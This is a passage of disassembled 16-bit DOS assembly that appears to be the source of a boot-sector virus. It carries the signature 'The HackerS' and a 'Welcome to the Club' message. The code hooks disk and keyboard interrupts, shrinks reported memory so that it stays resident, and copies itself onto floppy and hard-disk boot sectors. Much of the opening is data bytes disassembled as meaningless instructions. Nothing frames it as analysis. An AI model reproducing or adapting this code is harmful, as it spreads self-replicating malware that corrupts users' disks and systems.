[bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch add [bx+si],al add [bp+si+0AAh],ch or ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,byte ptr ds:[0AA0Ah] mov al,ds:data_0033e add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch add [bx+si],al add ch,[bp+si+0A8h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte or ch,[bp+si-5556h] add byte ptr [bx+si],0 add [bx+si],al add [bp+si],cl stosb ; Store al to es:[di] test al,0 add [bx+si],al add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0183e test al,0 add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0033e add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bx+si],al sub ch,[bp+si+0A0h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bp+si-7F56h],ch add [bx+si],al add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bx+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add ch,[bp+si+0AAh] add [bx+si],al add [bx+si],al add [bp+si],cl stosb ; Store al to es:[di] mov al,byte ptr data_0041+40h ; (' ') stosb ; Store al to es:[di] test al,0 add ch,[bp+si+0A0h] or ch,[bp+si+0A0h] add [bp+si-5556h],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0033e or ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al or ch,[bp+si+80h] mul byte ptr [si] ; ax = data * al sub [bx+si],al add [bx+si],al sub ch,[bp+si+200h] stosb ; Store al to es:[di] mov al,ds:data_0033e add ch,[bp+si+0A8h] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0033e add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 stosb ; Store al to es:[di] stosb ; Store al to es:[di] test al,0 add [bx+si],al or ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e add byte ptr [bx+si],0 add [bx+si],al or ch,[bp+si+80h] add [bx+si],al add ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],2Ah ; '*' stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0033e sub ch,[bp+si+80h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0033e or ch,[bp+si-5556h] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0161e test al,0 add [bx+si],al add [bp+si],cl stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bp+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0033e stosb ; Store al to es:[di] test al,0 add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al sub ch,[bp+si+0A0h] add [bx+si],al or ch,[bp+si+80h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,byte ptr data_0041+40h ; (' ') stosb ; Store al to es:[di] mov al,byte ptr data_0041+40h ; (' ') stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si+0A8h],ch add [bx+si],al sub ch,[bp+si+0A0h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al sub ch,[bp+si-7F56h] add [bx+si],al or ch,[bp+si+80h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0033e sub al,[bx+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bx+si],al add ch,[bp+si+0A8h] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si-5556h],ch add [bx+si],al or ch,[bp+si+80h] add [bx+si],al add [bx+si],al add [bx+si],al or ch,[bp+si+0A8h] add [bx+si],al sub ch,[bp+si+0] nop ;*ASM fixup - displacement nop ;*ASM fixup - sign extn byte add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,ds:data_0179e or [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] stosb ; Store al to es:[di] mov al,ds:data_0033e add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] test al,0 add [bx+si],al add [bp+si+0AAh],ch add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si],cl stosb ; Store al to es:[di] stosb ; Store al to es:[di] test al,0 or ch,[bp+si+80h] add [bx+si],al add [bx+si],al add [bx+si],al stosb ; Store al to es:[di] stosb ; Store al to es:[di] add byte ptr [bx+si],0 add [bp+si],ch stosb ; Store al to es:[di] add [bx+si],al add [bp+si],ch stosb ; Store al to es:[di] add [bp+si],al stosb ; Store al to es:[di] mov al,byte ptr ds:[0A00Ah] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add dh,dh and bp,[bx+si] add [bx+si],al push ax push bx push cx push dx cmp data_0045,1 jne loc_0021 ; Jump if not equal cmp data_0044,0 je loc_0022 ; Jump if equal loc_0021: xor ah,ah ; Zero register int 6Fh ; ??int non-standard interrupt jc loc_0022 ; Jump if carry Set mov dh,data_0044 mov dl,byte ptr cs:[529h] mov cx,data_0045 mov bx,200h mov ax,201h int 6Fh ; ??int non-standard interrupt loc_0022: pop dx pop cx pop bx pop ax retn sub_0003 endp db 50h, 53h, 51h, 52h, 32h dw 0CDE4h ; Data table (indexed access) db 6Fh dw 1272h ; Data table (indexed access) db 32h,0F6h, 2Eh, 8Ah, 16h, 29h db 05h,0B9h, 21h, 28h,0BBh, 00h db 02h,0B8h, 01h, 02h,0CDh, 6Fh db 5Ah, 59h, 5Bh, 58h,0C3h, 50h db 53h, 51h, 52h, 32h,0E4h,0CDh db 6Fh, 72h, 1Ah, 32h,0F6h, 8Ah db 16h, 29h, 05h,0B5h, 28h,0BBh db 7Ch, 06h,0B8h, 09h, 05h,0CDh db 6Fh, 73h, 05h,0F6h,0C4h, 82h db 75h, 03h db 0E8h, 29h, 00h db 5Ah, 59h, 5Bh, 58h,0C3h, 28h db 00h, 21h, 02h, 28h, 00h, 22h db 02h, 28h, 00h, 23h, 02h, 28h db 00h, 24h, 02h, 28h, 00h, 25h db 02h, 28h, 00h, 26h, 02h, 28h db 00h, 27h, 02h, 28h, 00h, 28h db 02h, 28h, 00h, 29h, 02h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0005 proc near push ax push bx push cx push dx xor ah,ah ; Zero register int 6Fh ; ??int non-standard interrupt jc loc_0026 ; Jump if carry Set xor dh,dh ; Zero register mov dl,byte ptr ds:[529h] mov cx,2821h mov bx,200h mov ax,309h int 6Fh ; ??int non-standard interrupt jnc loc_0025 ; Jump if carry=0 test ah,82h jnz loc_0026 ; Jump if not zero loc_0025: xor bx,bx ; Zero register call sub_0006 cmp cs:data_0050,3 jb loc_0026 ; Jump if below call sub_0007 loc_0026: pop dx pop cx pop bx pop ax retn sub_0005 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0006 proc near push ax push cx push dx xor ah,ah ; Zero register int 6Fh ; ??int non-standard interrupt jc loc_0027 ; Jump if carry Set xor dh,dh ; Zero register mov dl,byte ptr cs:[529h] mov cx,1 mov ax,301h int 6Fh ; ??int non-standard interrupt loc_0027: pop dx pop cx pop ax retn sub_0006 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0007 proc near ;* jmp short loc_0028 ;* db 0EBh, 10h nop pop cx stc ; Set carry flag inc bx stc ; Set carry flag xor cx,di inc bp stc ; Set carry flag push dx stc ; Set carry flag push ax add [bx+si],al push es add [bx+si+53h],dx push cx push dx push ds push es push si push di mov al,byte ptr ds:[529h] mov byte ptr ds:[701h],al mov byte ptr ds:[704h],1 mov byte ptr ds:[702h],0 mov byte ptr ds:[703h],6 loc_0029: mov dh,byte ptr ds:[702h] mov dl,byte ptr ds:[701h] xor ch,ch ; Zero register mov cl,byte ptr ds:[703h] lea bx,cs:[1277h] ; Load effective addr mov ax,201h int 6Fh ; ??int non-standard interrupt xor bx,bx ; Zero register loc_0030: mov al,byte ptr ds:[1282h][bx] test al,8 jz loc_0031 ; Jump if zero or byte ptr ds:[1282h][bx],9 lea si,ds:[6F6h] ; Load effective addr lea di,[bx+1277h] ; Load effective addr mov cx,0Bh rep movsb ; Rep when cx >0 Mov [si] to es:[di] xor al,al ; Zero register lea di,[bx+1283h] ; Load effective addr mov cx,14h stosb ; Store al to es:[di] call sub_0008 jmp short loc_0035 db 90h loc_0031: add bx,20h cmp bx,200h jae loc_0032 ; Jump if above or = jmp short loc_0030 loc_0032: cmp byte ptr ds:[703h],9 jb loc_0033 ; Jump if below xor byte ptr ds:[702h],1 mov byte ptr ds:[703h],1 jmp short loc_0034 loc_0033: inc byte ptr ds:[703h] loc_0034: inc byte ptr ds:[704h] cmp byte ptr ds:[704h],7 ja loc_0035 ; Jump if above jmp short loc_0029 loc_0035: pop di pop si pop es pop ds pop dx pop cx pop bx pop ax retn sub_0007 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0008 proc near push ax push bx push cx push dx xor ah,ah ; Zero register int 6Fh ; ??int non-standard interrupt jc loc_0036 ; Jump if carry Set mov dh,byte ptr ds:[702h] mov dl,byte ptr ds:[701h] xor ch,ch ; Zero register mov cl,byte ptr ds:[703h] lea bx,cs:[1277h] ; Load effective addr mov ax,301h int 6Fh ; ??int non-standard interrupt loc_0036: pop dx pop cx pop bx pop ax retn sub_0008 endp db 0E9h, 0Bh db 0Ah, 'The HackerS' db 00h, 00h, 00h, 00h,0AAh,0A8h db 00h,0AAh,0A0h, 00h, 00h, 00h db 00h, 0Ah,0AAh,0AAh,0AAh,0AAh db 0AAh,0A0h, 00h, 20h, 00h, 00h db 00h, 00h, 00h, 0Ah,0AAh, 80h db 00h, 00h, 00h, 02h db 7 dup (0AAh) db 0A8h, 00h, 2Ah,0AAh, 00h, 00h db 0F6h, 22h, 28h, 00h, 00h,0EBh db 66h, 90h, 21h, 00h, 02h, 87h db 0E9h, 00h,0F0h, 91h, 08h, 00h db 0C8h, 00h, 00h db ' Welcome to the' db ' C l u b --The HackerS--' db ' Hackin', 27h, ' All T' db 'he Time ' db 00h, 00h,0FFh,0FFh, 00h, 7Ch db 00h db 00h, 9Ch, 50h, 1Eh, 06h, 56h db 57h, 33h,0C0h, 8Eh,0D8h, 8Eh db 0C0h, 2Eh,0C6h, 06h, 05h, 04h db 08h,0A1h, 4Ch, 00h, 3Dh, 26h db 05h, 74h, 3Fh,0FAh, 2Eh,0FFh db 06h, 03h, 04h,0A1h, 4Ch, 00h db 0A3h,0BCh, 01h, 2Eh,0A3h, 0Ah db 04h,0A1h, 4Eh, 00h,0A3h,0BEh db 01h, 2Eh,0A3h, 0Ch, 04h,0B8h db 26h, 05h,0A3h, 4Ch, 00h, 8Ch db 0C8h,0A3h, 4Eh, 00h,0A1h, 24h db 00h, 2Eh,0A3h, 06h, 04h,0A1h db 26h, 00h, 2Eh,0A3h, 08h, 04h db 0C7h, 06h, 24h, 00h,0D9h, 04h db 8Ch,0C8h,0A3h, 26h, 00h,0FBh loc_0039: push cs pop ds mov si,offset data_0041+40h ; (' ') mov di,data_0011e mov cx,200h rep movsb ; Rep when cx >0 Mov [si] to es:[di] pop di pop si pop es pop ds pop ax popf ; Pop flags jmp cs:data_0057 sti ; Enable interrupts push ax push cx push ds pushf ; Push flags xor ax,ax ; Zero register mov ds,ax in al,60h ; port 60h, keybd scan or sw1 test al,80h jnz loc_0042 ; Jump if not zero mov ah,ds:keybd_flags_1_ test ah,8 jz loc_0042 ; Jump if zero test ah,4 jz loc_0042 ; Jump if zero cmp al,53h ; 'S' jne loc_0040 ; Jump if not equal cmp byte ptr ds:video_mode_,7 je loc_0041 ; Jump if equal cmp cs:data_0050,3 jb loc_0041 ; Jump if below ;* call sub_0017 ;* db 0E8h,0B7h, 02h jmp short loc_0041 loc_0040: cmp al,3Fh ; '?' jne loc_0042 ; Jump if not equal loc_0041: mov word ptr ds:warm_boot_flag_,1234h jmp cs:data_0056 loc_0042: popf ; Pop flags pop ds pop cx pop ax jmp dword ptr cs:data_0052 ;* jmp short loc_0044 ;* db 0EBh, 0Ah add [bx+di],al add [bx+di],al jo loc_0043 ; Jump if overflow=1 loc_0043: popf ; Pop flags adc [bp+si],ax add ds:data_0010e[si],bx push si push di push cs pop ds mov byte ptr ds:[528h],dh mov byte ptr ds:[529h],dl mov byte ptr ds:[52Ah],ch mov byte ptr ds:[52Bh],cl mov word ptr ds:[52Ch],es mov word ptr ds:[52Eh],bx mov byte ptr ds:[530h],ah mov byte ptr data_0066,al ; ('WS EXE ') cmp ah,2 jb loc_0045 ; Jump if below cmp ah,5 ja loc_0045 ; Jump if above cmp dl,1 ja loc_0045 ; Jump if above cmp ch,0 jne loc_0045 ; Jump if not equal cmp dh,0 jne loc_0045 ; Jump if not equal dec cs:data_0051 jz loc_0046 ; Jump if zero loc_0045: jmp short loc_0047 loc_0046: push cs pop es mov cs:data_0051,2 call sub_0009 loc_0047: mov dh,byte ptr ds:[528h] mov dl,byte ptr ds:[529h] mov ch,byte ptr ds:[52Ah] mov cl,byte ptr ds:[52Bh] mov es,word ptr ds:[52Ch] mov bx,word ptr ds:[52Eh] mov ah,byte ptr ds:[530h] mov al,byte ptr data_0066 ; ('WS EXE ') pop di pop si pop es pop ds popf ; Pop flags jmp dword ptr cs:data_0054 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0009 proc near push ax push bx push cx push dx xor ah,ah ; Zero register int 6Fh ; ??int non-standard interrupt jc loc_0050 ; Jump if carry Set xor dh,dh ; Zero register mov dl,byte ptr cs:[529h] mov cx,1 mov bx,200h mov ax,201h int 6Fh ; ??int non-standard interrupt jc loc_0050 ; Jump if carry Set cmp data_0047,537Ch je loc_0050 ; Jump if equal cmp data_0046,0FAFAh je loc_0048 ; Jump if equal cmp data_0043,1234h jne loc_0049 ; Jump if not equal call sub_0010 jc loc_0050 ; Jump if carry Set jmp short loc_0049 loc_0048: ;* call sub_0011 ;* db 0E8h, 44h, 00h jc loc_0050 ; Jump if carry Set loc_0049: mov bx,200h ;* call sub_0013 ;* db 0E8h,0E1h, 00h jc loc_0050 ; Jump if carry Set ;* call sub_0012 ;* db 0E8h, 58h, 00h loc_0050: pop dx pop cx pop bx pop ax retn sub_0009 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0010 proc near mul byte ptr [bx+di] ; ax = data * al sub [bx+si],al add bl,ch xor al,90h dec cx inc dx dec bp and [bx+si],ah xor bp,ds:data_0036e add al,[bp+si] add [bx+si],ax add dh,[bx+si+0] rol byte ptr [bp+si],1 ; Rotate std ; Set direction flag add al,[bx+si] or [bx+si],ax add al,[bx+si] add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bx+si],al add [bp+si],dl add [bx+si],al add [bx+si],al add [bx+si],ax cli ; Disable interrupts xor ax,ax ; Zero register mov ss,ax mov sp,7C00h push ss pop es mov bx,data_0005e lds si,dword ptr ss:[bx] ; Load 32 bit ptr push ds push si push ss push bx mov di,data_0022e mov cx,0Bh cld ; Clear direction locloop_0051: lodsb ; String [si] to al cmp byte ptr es:[di],0 je loc_0052 ; Jump if equal mov al,es:[di] loc_0052: stosb ; Store al to es:[di] mov al,ah loop locloop_0051 ; Loop if cx > 0 push es pop ds mov [bx+2],ax mov word ptr [bx],7C2Bh sti ; Enable interrupts int 13h ; Disk dl=drive ? ah=func 00h ; reset disk, al=return status jc loc_0055 ; Jump if carry Set mov al,ds:data_0014e cbw ; Convrt byte to word mul word ptr ds:data_0017e ; ax = data * ax add ax,ds:data_0020e add ax,ds:data_0013e mov ds:data_0028e,ax mov ds:data_0023e,ax mov ax,20h mul word ptr ds:data_0015e ; ax = data * ax mov bx,ds:data_0012e add ax,bx dec ax div bx ; ax,dx rem=dx:ax/reg add ds:data_0023e,ax mov bx,500h mov ax,ds:data_0028e call sub_0015 mov ax,201h call sub_0016 jc loc_0053 ; Jump if carry Set mov di,bx mov cx,0Bh mov si,data_0030e repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] jnz loc_0053 ; Jump if not zero lea di,[bx+20h] ; Load effective addr mov si,data_0031e mov cx,0Bh repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] jz loc_0056 ; Jump if zero loc_0053: mov si,data_0029e loc_0054: call sub_0014 xor ah,ah ; Zero register int 16h ; Keyboard i/o ah=function 00h ; get keybd char in al, ah=scan pop si pop ds pop word ptr [si] pop word ptr [si+2] int 19h ; Bootstrap loader loc_0055: mov si,7DC0h jmp short loc_0054 loc_0056: mov ax,ds:data_0009e xor dx,dx ; Zero register div word ptr ds:data_0012e ; ax,dxrem=dx:ax/data inc al mov ds:data_0026e,al mov ax,ds:data_0023e mov ds:data_0027e,ax mov bx,700h loc_0057: mov ax,ds:data_0023e call sub_0015 mov ax,ds:data_0018e sub al,ds:data_0025e inc ax cmp ds:data_0026e,al jae loc_0058 ; Jump if above or = mov al,ds:data_0026e loc_0058: push ax call sub_0016 pop ax jc loc_0055 ; Jump if carry Set sub ds:data_0026e,al jz loc_0059 ; Jump if zero add ds:data_0023e,ax mul word ptr ds:data_0012e ; ax = data * ax add bx,ax jmp short loc_0057 loc_0059: mov ch,ds:data_0016e mov dl,ds:data_0032e mov bx,ds:data_0027e ;* jmp far ptr loc_0001 ;* sub_0010 endp db 0EAh, 00h, 00h, 70h, 00h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0014 proc near loc_0060: lodsb ; String [si] to al or al,al ; Zero ? jz loc_ret_0061 ; Jump if zero mov ah,0Eh mov bx,7 int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode jmp short loc_0060 ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_0015: xor dx,dx ; Zero register div word ptr ds:data_0018e ; ax,dxrem=dx:ax/data inc dl mov ds:data_0025e,dl xor dx,dx ; Zero register div word ptr ds:data_0019e ; ax,dxrem=dx:ax/data mov ds:data_0021e,dl mov ds:data_0024e,ax loc_ret_0061: retn sub_0014 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0016 proc near mov ah,2 mov dx,ds:data_0024e mov cl,6 shl dh,cl ; Shift w/zeros fill or dh,ds:data_0025e mov cx,dx xchg ch,cl mov dl,ds:data_0032e mov dh,ds:data_0021e int 13h ; Disk dl=drive ? ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head retn sub_0016 endp db 0Dh, 0Ah, 'Non-System disk or dis' db 'k error', 0Dh, 0Ah, 'Replace and' db ' strike any key when ready', 0Dh db 0Ah, 0 db 0Dh, 0Ah, 'Disk Boot failure', 0Dh db 0Ah, 0 db 'IBMBIO COMIBMDOS COM' db 18 dup (0) db 55h,0AAh, 00h, 03h, 00h, 00h db 01h, 00h, 02h, 00h, 00h, 01h db 00h, 01h, 00h, 00h, 01h, 00h db 09h, 00h, 00h, 00h, 00h, 08h db 00h, 00h, 00h, 00h, 07h, 00h db 00h, 00h, 00h, 06h, 00h, 00h db 00h, 00h, 05h, 00h, 00h, 00h db 0F6h, 04h, 00h, 00h, 00h,0FDh db 0FFh,0FFh, 00h db 509 dup (0) db 03h, 00h, 00h, 00h,0F6h, 02h db 00h, 00h, 00h,0FDh,0FFh,0FFh db 00h db 508 dup (0) db 0F6h, 01h, 00h, 00h, 00h,0EBh db 29h, 90h, 22h, 34h, 12h, 00h db 01h, 00h, 00h, 00h, 00h, 02h db 02h, 01h, 00h, 02h, 70h, 00h db 0D0h, 02h,0FDh, 02h, 00h, 09h db 00h, 02h, 00h db 8 dup (0) db 0Fh, 00h, 00h, 00h, 00h, 01h db 00h db 0FAh,0FAh, 8Ch,0C8h, 8Eh,0D8h db 8Eh,0D0h,0BCh, 00h,0F0h,0FBh db 0B8h, 78h, 7Ch, 50h,0C3h, 73h db 0Ah db 0BBh, 90h, 7Ch, 53h,0C3h,0B9h db 0B0h, 7Ch, 51h,0C3h loc_0064: xor ax,ax ; Zero register mov ds,ax mov ax,ds:main_ram_size_ cmp word ptr ds:data_0008e,0 jne loc_0065 ; Jump if not equal mov ds:data_0008e,ax sub ax,7 mov ds:main_ram_size_,ax loc_0065: mov cl,6 shl ax,cl ; Shift w/zeros fill push cs pop ds mov es,ax mov si,data_0164e xor di,di ; Zero register mov cx,1400h cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] push es mov ax,400h push ax retf xor ah,ah ; Zero register int 13h ; Disk dl=drive a ah=func 00h ; reset disk, al=return status jc loc_0066 ; Jump if carry Set xor dx,dx ; Zero register mov cx,2821h mov bx,data_0178e mov ax,209h int 13h ; Disk dl=drive a ah=func 02h ; read sectors to memory es:bx ; al=#,ch=cyl,cl=sectr,dh=head loc_0066: ;* mov ax,offset loc_0077 ;* db 0B8h, 3Ch, 7Ch push ax retn db 0BEh, 5Fh, 7Dh,0B9h, 48h, 00h locloop_0067: xor bh,bh ; Zero register mov al,[si] mov ah,0Eh int 10h ; Video display ah=functn 0Eh ; write char al, teletype mode inc si loop locloop_0067 ; Loop if cx > 0 loc_0068: xor ah,ah ; Zero register int 16h ; Keyboard i/o ah=function 00h ; get keybd char in al, ah=scan mov ah,1 int 16h ; Keyboard i/o ah=function 01h ; get status, if zf=0 al=char jnz loc_0068 ; Jump if not zero ;* mov bx,offset loc_0078 ;* db 0BBh, 43h, 7Ch push bx retn mov ax,cs mov 